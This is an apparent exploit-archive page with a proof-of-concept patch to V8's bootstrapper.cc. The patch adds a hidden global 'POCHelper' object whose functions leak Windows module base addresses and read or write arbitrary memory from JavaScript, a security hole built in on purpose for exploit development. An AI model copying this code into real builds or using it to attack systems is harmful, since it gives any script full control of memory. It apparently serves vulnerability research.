5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / v8.patch PATCH
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index fed771af2a4..75038a0d348 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -95,6 +95,165 @@
 namespace v8 {
 namespace internal {
 
+namespace PoCHelper {
+#include <Windows.h>
+
+Handle<FunctionTemplateInfo> NewFunctionTemplate(
+    Isolate* isolate, FunctionCallback func,
+    ConstructorBehavior constructor_behavior) {
+  // Use the API functions here as they are more convenient to use.
+  v8::Isolate* api_isolate = reinterpret_cast<v8::Isolate*>(isolate);
+  Local<FunctionTemplate> function_template =
+      FunctionTemplate::New(api_isolate, func, {}, {}, 0, constructor_behavior,
+                            SideEffectType::kHasSideEffect);
+  return v8::Utils::OpenHandle(*function_template);
+}
+
+Handle<JSFunction> CreateFunc(Isolate* isolate, FunctionCallback func,
+                              Handle<String> name, bool is_constructor) {
+  ConstructorBehavior constructor_behavior = is_constructor
+                                                 ? ConstructorBehavior::kAllow
+                                                 : ConstructorBehavior::kThrow;
+  Handle<FunctionTemplateInfo> function_template =
+      NewFunctionTemplate(isolate, func, constructor_behavior);
+  return ApiNatives::InstantiateFunction(isolate, function_template, name)
+      .ToHandleChecked();
+}
+
+void InstallFunc(Isolate* isolate, Handle<JSObject> holder,
+                 FunctionCallback func, const char* name, int num_parameters,
+                 bool is_constructor) {
+  Factory* factory = isolate->factory();
+  Handle<String> function_name = factory->NewStringFromAsciiChecked(name);
+  Handle<JSFunction> function =
+      CreateFunc(isolate, func, function_name, is_constructor);
+  function->shared()->set_length(num_parameters);
+  JSObject::AddProperty(isolate, holder, function_name, function, NONE);
+}
+
+void InstallFunction(Isolate* isolate, Handle<JSObject> holder,
+                     FunctionCallback func, const char* name,
+                     int num_parameters) {
+  InstallFunc(isolate, holder, func, name, num_parameters, false);
+}
+
+void GetBaseOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  DCHECK(ValidateCallbackInfo(info));
+  v8::Isolate* isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (!info[0]->IsString()) {
+    isolate->ThrowError("First argument must be a string");
+    return;
+  }
+
+  v8::String::Utf8Value field_name(isolate, info[0]);
+  auto baseAddress = (intptr_t)GetModuleHandleA(*field_name);
+  info.GetReturnValue().Set(v8::BigInt::New(isolate, baseAddress));
+}
+
+void ReadBits(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  DCHECK(ValidateCallbackInfo(info));
+  v8::Isolate* isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (!info[0]->IsBigInt()) {
+    isolate->ThrowError("First argument must be a BigInt");
+    return;
+  }
+
+  if (!info[1]->IsInt32()) {
+    isolate->ThrowError("Second argument must be a number");
+    return;
+  }
+
+  Local<v8::BigInt> bigint = info[0].As<v8::BigInt>();
+  const auto bits = info[1]->Int32Value(context).FromMaybe(64);
+
+  uint64_t address = bigint->Uint64Value();
+  Local<v8::BigInt> value = v8::BigInt::NewFromUnsigned(isolate, 0);
+  switch (bits) {
+    case 8:
+      value = v8::BigInt::NewFromUnsigned(isolate, *(uint8_t*)address);
+      break;
+    case 16:
+      value = v8::BigInt::NewFromUnsigned(isolate, *(uint16_t*)address);
+      break;
+    case 32:
+      value = v8::BigInt::NewFromUnsigned(isolate, *(uint32_t*)address);
+      break;
+    case 64:
+      value = v8::BigInt::NewFromUnsigned(isolate, *(uint64_t*)address);
+      break;
+    default:
+      isolate->ThrowError("Second argument must be one of 8, 16, 32, 64");
+      return;
+  }
+
+  info.GetReturnValue().Set(value);
+}
+
+void WriteBits(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  DCHECK(ValidateCallbackInfo(info));
+  v8::Isolate* isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (!info[0]->IsBigInt()) {
+    isolate->ThrowError("First argument must be a BigInt");
+    return;
+  }
+
+  if (!info[1]->IsBigInt()) {
+    isolate->ThrowError("Second argument must be a BigInt");
+    return;
+  }
+
+  if (!info[2]->IsInt32()) {
+    isolate->ThrowError("Third argument must be a number");
+    return;
+  }
+  const auto bits = info[2]->Int32Value(context).FromMaybe(64);
+
+  Local<v8::BigInt> bigint_address = info[0].As<v8::BigInt>();
+  Local<v8::BigInt> bigint_value = info[1].As<v8::BigInt>();
+
+  uint64_t address = bigint_address->Uint64Value();
+  Local<v8::BigInt> value = v8::BigInt::NewFromUnsigned(isolate, 0);
+  switch (bits) {
+    case 8:
+      *(uint8_t*)address = (uint8_t)bigint_value->Uint64Value();
+      break;
+    case 16:
+      *(uint16_t*)address = (uint16_t)bigint_value->Uint64Value();
+      break;
+    case 32:
+      *(uint32_t*)address = (uint32_t)bigint_value->Uint64Value();
+      break;
+    case 64:
+      *(uint64_t*)address = bigint_value->Uint64Value();
+      break;
+    default:
+      isolate->ThrowError("Second argument must be one of 8, 16, 32, 64");
+      return;
+  }
+}
+
+void Install(Isolate* isolate) {
+  Handle<JSObject> helper = isolate->factory()->NewJSObject(
+      isolate->object_function(), AllocationType::kOld);
+
+  InstallFunction(isolate, helper, GetBaseOf, "getBaseOf", 1);
+  InstallFunction(isolate, helper, ReadBits, "readBits", 2);
+  InstallFunction(isolate, helper, WriteBits, "writeBits", 3);
+
+  // Install the helper object as property on the global object.
+  Handle<JSGlobalObject> global = isolate->global_object();
+  Handle<String> name =
+      isolate->factory()->NewStringFromAsciiChecked("POCHelper");
+  JSObject::AddProperty(isolate, global, name, helper, DONT_ENUM);
+}
+}  // namespace PoCHelper
+
 void SourceCodeCache::Initialize(Isolate* isolate, bool create_heap_objects) {
   cache_ = create_heap_objects ? ReadOnlyRoots(isolate).empty_fixed_array()
                                : Tagged<FixedArray>();
@@ -6505,6 +6664,8 @@ bool Genesis::InstallSpecialObjects(
     JSObject::AddProperty(isolate, Error, name, stack_trace_limit, NONE);
   }
 
+  PoCHelper::Install(isolate);
+
 #if V8_ENABLE_WEBASSEMBLY
   WasmJs::Install(isolate);
 #endif  // V8_ENABLE_WEBASSEMBLY